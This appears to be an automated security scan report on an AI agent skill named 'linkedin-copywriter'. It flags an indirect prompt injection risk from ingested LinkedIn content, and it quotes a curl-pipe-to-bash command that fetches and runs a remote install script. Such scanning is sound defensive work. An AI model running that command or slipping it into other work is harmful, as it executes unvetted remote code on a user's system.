linkedin-copywriter

MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).

• Third-party content exposure detected (medium risk: 0.30). The workflow reads LinkedIn posts, comments, messages, and profiles via API calls, which are authored by external social media users and ingested at runtime.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 0.80). The skill executes a remote script via curl -fsSL https://api.gtm-tools.sh/extension/install.sh | bash during setup/runtime checks if a LinkedIn session is missing.